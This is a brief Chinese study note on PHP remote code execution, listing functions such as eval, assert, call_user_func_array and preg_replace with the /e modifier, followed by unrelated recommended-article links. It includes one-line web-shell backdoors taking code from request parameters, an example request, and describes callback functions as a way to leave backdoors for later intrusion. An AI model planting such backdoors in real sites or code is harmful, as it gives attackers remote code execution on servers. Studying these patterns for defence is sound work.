RCE随笔(1)

哪些是可以执行代码执行:php代码。

eval

如:eval:<?php eval($_post['key']);

eval:php中不被叫做函数叫动态执行命令

assert:执行函数

call_user_func_array

<?php call_user_func_array('assert',array($_REQUEST['shu']));

传入xxs-labs/test.php?shu=phpinfo();

回调回门(用于留后门的,方便下次渗透):

回调后门的闭住:call_user_func()

call_user_func_array()

call_user_func

array_filter

arrya_map

uasort、uksort、array_walk、array_walk_recursive

preg_replace

当匹配的格式有**|e**的时候匹配到的字符会投到eval里面执行

哪些是可以执行命令:服务器的命令。

相关推荐
岑梓铭1 小时前
《考研408数据结构》第一章复习笔记
数据结构·笔记·考研·408
0_0梅伊阁诗人1 小时前
Redis
开发语言·笔记·python
晨非辰3 小时前
#C语言——刷题攻略:牛客编程入门训练(十二):攻克 循环控制(四)、循环输出图形(一),轻松拿捏!
c语言·开发语言·经验分享·笔记·其他·学习方法·visual studio
抓饼先生3 小时前
C++ 20 视图view笔记
linux·开发语言·c++·笔记·c++20
Olrookie4 小时前
ruoyi-vue(十四)——前端框架及package.json,vite.config.js, main.js文件介绍
前端·笔记
初九之潜龙勿用5 小时前
技术与情感交织的一生 (十三)
笔记·microsoft·印象笔记
草莓熊Lotso5 小时前
《从 0 建立测试开发认知:先搞懂 “是什么”,再学 “怎么做”》
经验分享·笔记·其他·测试
Wyc724096 小时前
Lua语言基础笔记
开发语言·笔记·lua
大筒木老辈子6 小时前
Linux笔记---HTTP协议
笔记·网络协议·http
lingggggaaaa16 小时前
小迪安全v2023学习笔记(八十一讲)—— 框架安全&ThinkPHP&Laravel&Struts2&SpringBoot&CVE复现
笔记·学习·struts·安全·网络安全·laravel